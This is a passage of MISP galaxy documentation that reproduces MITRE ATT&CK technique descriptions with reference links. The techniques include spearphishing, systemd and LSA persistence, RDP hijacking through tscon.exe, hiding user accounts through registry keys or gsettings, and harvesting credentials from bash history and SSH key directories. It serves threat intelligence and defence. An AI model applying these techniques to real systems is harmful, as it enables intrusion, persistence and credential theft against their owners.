<td><a href="https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285">https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285</a></td>
</tr>
</tbody>
</table>

Spearphishing Attachment - T1566.001

Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also
involve social engineering techniques, such as posing as a trusted source.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.

The tag is: `misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001"`

### Create Snapshot - T1578.001

An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.

An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access. (Citation: Mandiant M-Trends 2020)

The tag is: `misp-galaxy:mitre-attack-pattern="Create Snapshot - T1578.001"`
Spearphishing Service - T1598.001

Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. (Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target’s interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.

The tag is: misp-galaxy:mitre-attack-pattern="Spearphishing Service - T1598.001"

Table 5614. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1598/001">https://attack.mitre.org/techniques/T1598/001</a></td>
</tr>
</tbody>
</table>

Component Firmware - T1542.002

Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.

Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
User Evasion - T1628.002

Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary's modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device.

While there are many ways this can be accomplished, one method is by using the device's sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.

Device Lockout - T1629.002

An adversary may seek to inhibit user interaction by locking the legitimate user out of the device. This is typically accomplished by requesting device administrator permissions and then locking the screen using `DevicePolicyManager.lockNow()`. Other novel techniques for locking the user out of the device have been observed, such as showing a persistent overlay, using carefully crafted “call” notification screens, and locking HTML pages in the foreground. These techniques can be very difficult to get around, and typically require booting the device into safe mode to uninstall the malware. (Citation: Microsoft MalLockerB)(Citation: Talos GPlayed)(Citation: securelist roxy 2018)

Prior to Android 7, device administrators were able to reset the device lock passcode to prevent the user from unlocking the device. The release of Android 7 introduced updates that only allow device or profile owners (e.g. MDMs) to reset the device's passcode. (Citation: Android resetPassword)
Systemd Service - T1543.002

Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources. (Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.

Systemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`). (Citation: lambert systemd 2022)

Inside the `.service` unit files, the following directives are used to execute commands: (Citation: freedesktop systemd.service)

- `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.
- `ExecReload` directive executes when a service restarts.
- `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped.

Adversaries have created new service files, altered the commands a `.service` file's directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem. (Citation: Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 Service Persistence 22JUNE2016)

The tag is: `misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002"`

**Table 5618. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.ouah.org/backdoors.html">http://www.ouah.org/backdoors.html</a></td>
</tr>
</tbody>
</table>
Bash History - T1552.003

Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user's `<code>.bash_history</code>` file. For each user, this file resides at the same location: `<code>~/.bash_history</code>`. Typically, this file keeps track of the user's last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)

The tag is: <code>misp-galaxy:mitre-attack-pattern="Bash History - T1552.003"</code>

Table 5619. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way">http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1552/003">https://attack.mitre.org/techniques/T1552/003</a></td>
</tr>
</tbody>
</table>

Code Signing - T1553.002

Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.

Code signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)

Code signing certificates may be used to bypass security policies that require signed code to execute on a system.

The tag is: <code>misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002"</code>
RDP Hijacking - T1563.002

Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)

Adversaries may perform RDP session hijacking which involves stealing a legitimate user’s remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\windows\system32\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)

The tag is: `misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002"`

Asymmetric Cryptography - T1573.002

Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per
party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver's public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.

For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).

The tag is: *misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002"

Table 5622. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1573/002">https://attack.mitre.org/techniques/T1573/002</a></td>
</tr>
<tr>
<td><a href="https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html">https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html</a></td>
</tr>
</tbody>
</table>

**DNS Server - T1583.002**

Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.

By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="DNS Server - T1583.002"

Table 5623. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1583/002">https://attack.mitre.org/techniques/T1583/002</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/">https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/</a></td>
</tr>
</tbody>
</table>

**Search Engines - T1593.002**

Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users
with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). (Citation: SecurityTrails Google Hacking) (Citation: ExploitDB Google Hacking)

Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information]) or [Search Open Technical Databases], establishing operational resources (ex: [Establish Accounts] or [Compromise Accounts]), and/or initial access (ex: [Valid Accounts] or [Phishing]).

The tag is: *misp-galaxy:mitre-attack-pattern="Search Engines - T1593.002"

### Table 5624. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1593/002">https://attack.mitre.org/techniques/T1593/002</a></td>
</tr>
<tr>
<td><a href="https://securitytrails.com/blog/google-hacking-techniques">https://securitytrails.com/blog/google-hacking-techniques</a></td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/google-hacking-database">https://www.exploit-db.com/google-hacking-database</a></td>
</tr>
</tbody>
</table>

### Call Log - T1636.002

Adversaries may utilize standard operating system APIs to gather call log data. On Android, this can be accomplished using the Call Log Content Provider. iOS provides no standard API to access the call log.

If the device has been jailbroken or rooted, an adversary may be able to access the [Call Log](https://attack.mitre.org/techniques/T1636/002) without the user's knowledge or approval.

The tag is: *misp-galaxy:mitre-attack-pattern="Call Log - T1636.002"

### Table 5625. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1636/002">https://attack.mitre.org/techniques/T1636/002</a></td>
</tr>
</tbody>
</table>

### TFTP Boot - T1542.005

Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.
Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)

The tag is: **misp-galaxy:mitre-attack-pattern="TFTP Boot - T1542.005"**

### Private Keys - T1552.004

Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: `.key`, `.gpg`, `.ppk`, `.p12`, `.pem`, `.pfx`, `.cer`, `.p7b`, `.asc.`

Adversaries may also look in common key directories, such as `<code>~/.ssh</code>` for SSH keys on * nix-based systems or `<code>C:\Users\(username)\.ssh\</code>` on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)

When a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device's identity. (Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device. (Citation: AADInternals Azure AD Device Identities)

On network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`. (Citation: cisco_deploy_rsa_keys)

Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute
Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.

The tag is: `misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004"`

### Table 5627. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://aadinternals.com/post/deviceidentity/">https://aadinternals.com/post/deviceidentity/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1552/004">https://attack.mitre.org/techniques/T1552/004</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Public-key_cryptography">https://en.wikipedia.org/wiki/Public-key_cryptography</a></td>
</tr>
<tr>
<td><a href="https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/">https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/</a></td>
</tr>
</tbody>
</table>

### Hidden Users - T1564.002

Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.

In macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value `<code>Hide500Users</code>` to `<code>TRUE</code>` in the `<code>/Library/Preferences/com.apple.loginwindow</code>` plist file. (Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the `<code>Hide500Users</code>` key value is set to `<code>TRUE</code>`, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the `<code>dscl</code>` utility to create hidden user accounts by setting the `<code>IsHidden</code>` attribute to `<code>1</code>`. Adversaries can also hide a user’s home folder by changing the `<code>chflags</code>` attribute to hidden. (Citation: Apple Support Hide a User Account)

Adversaries may similarly hide user accounts in Windows. Adversaries can set the `<code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList</code>` Registry key value to `<code>0</code>` for a specific user to prevent that user from being listed on the logon screen. (Citation: FireEye SMOKEDHAM June 2021) (Citation: US-CERT TA18-074A)

On Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the `<code>gsettings</code>` command.
<code>sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>.

(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.

The tag is: <code>misp-galaxy:mitre-attack-pattern="Hidden Users - T1564.002"</code>

**Table 5628. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1564/002">https://attack.mitre.org/techniques/T1564/002</a></td>
</tr>
<tr>
<td><a href="https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf">https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf</a></td>
</tr>
<tr>
<td><a href="https://support.apple.com/en-us/HT203998">https://support.apple.com/en-us/HT203998</a></td>
</tr>
<tr>
<td><a href="https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/">https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html">https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA18-074A">https://www.us-cert.gov/ncas/alerts/TA18-074A</a></td>
</tr>
</tbody>
</table>

**Authentication Package - T1547.002**

Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)

Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa</code> with the key value of <code>"Authentication Packages"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.

The tag is: <code>misp-galaxy:mitre-attack-pattern="Authentication Package - T1547.002"</code>

**Table 5629. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html">http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1547/002">https://attack.mitre.org/techniques/T1547/002</a></td>
</tr>
</tbody>
</table>

**DNS Server - T1584.002**

Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for
Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.

By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)

The tag is: `misp-galaxy:mitre-attack-pattern="DNS Server - T1584.002"`

### Table 5630. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1584/002">https://attack.mitre.org/techniques/T1584/002</a></td>
</tr>
</tbody>
</table>

### Client Configurations - T1592.004

Adversaries may gather information about the victim’s client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain...](https://attack.mitre.org/techniques/T1588)).
Reflection Amplification - T1498.002

Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target. (Citation: Cloudflare ReflectionDoS May 2017)

This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.

Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS (Citation: Cloudflare DNSamplificationDoS) and NTP (Citation: Cloudflare NTPamplificationDoS), though the use of several others in the wild have been documented. (Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet. (Citation: Cloudflare Memcrashed Feb 2018)

The tag is: misp-galaxy:mitre-attack-pattern="Reflection Amplification - T1498.002"

Table 5632. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1498/002">https://attack.mitre.org/techniques/T1498/002</a></td>
</tr>
<tr>
<td><a href="https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/">https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/</a></td>
</tr>
<tr>
<td><a href="https://blog.cloudflare.com/reflections-on-reflections/">https://blog.cloudflare.com/reflections-on-reflections/</a></td>
</tr>
</tbody>
</table>
**Securityd Memory - T1555.002**

An adversary may obtain root access (allowing them to read securityd's memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)

In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple's keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user's logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)

The tag is: *misp-galaxy:mitre-attack-pattern="Securityd Memory - T1555.002"*

Table 5633. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1555/002">https://attack.mitre.org/techniques/T1555/002</a></td>
</tr>
</tbody>
</table>

**Container API - T1552.007**

Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components. (Citation: Docker API) (Citation: Kubernetes API)

An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment. (Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod’s service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components.

The tag is: *misp-galaxy:mitre-attack-pattern="Container API - T1552.007"*
Email Accounts - T1585.002

Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)

To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)

The tag is: *misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002"*

Chat Messages - T1552.008

Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.

Rather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to
automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks).

The tag is: misp-galaxy:mitre-attack-pattern="Chat Messages - T1552.008"

Table 5636. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1552/008">https://attack.mitre.org/techniques/T1552/008</a></td>
</tr>
<tr>
<td><a href="https://www.nightfall.ai/blog/saas-slack-security-risks-2020">https://www.nightfall.ai/blog/saas-slack-security-risks-2020</a></td>
</tr>
</tbody>
</table>

Silver Ticket - T1558.002

Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets. (Citation: ADSecurity Silver Tickets)

Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult. (Citation: ADSecurity Detecting Forged Tickets)

Password hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).

The tag is: misp-galaxy:mitre-attack-pattern="Silver Ticket - T1558.002"

Table 5637. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=1515">https://adsecurity.org/?p=1515</a></td>
</tr>
<tr>
<td><a href="https://adsecurity.org/?p=2011">https://adsecurity.org/?p=2011</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1558/002">https://attack.mitre.org/techniques/T1558/002</a></td>
</tr>
</tbody>
</table>

Vulnerability Scanning - T1595.002

Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.

These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more
commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts. Information from these scans may reveal opportunities for other forms of reconnaissance, establishing operational resources, and/or initial access.

The tag is: misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002"

Table 5638. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1595/002">https://attack.mitre.org/techniques/T1595/002</a></td>
</tr>
<tr>
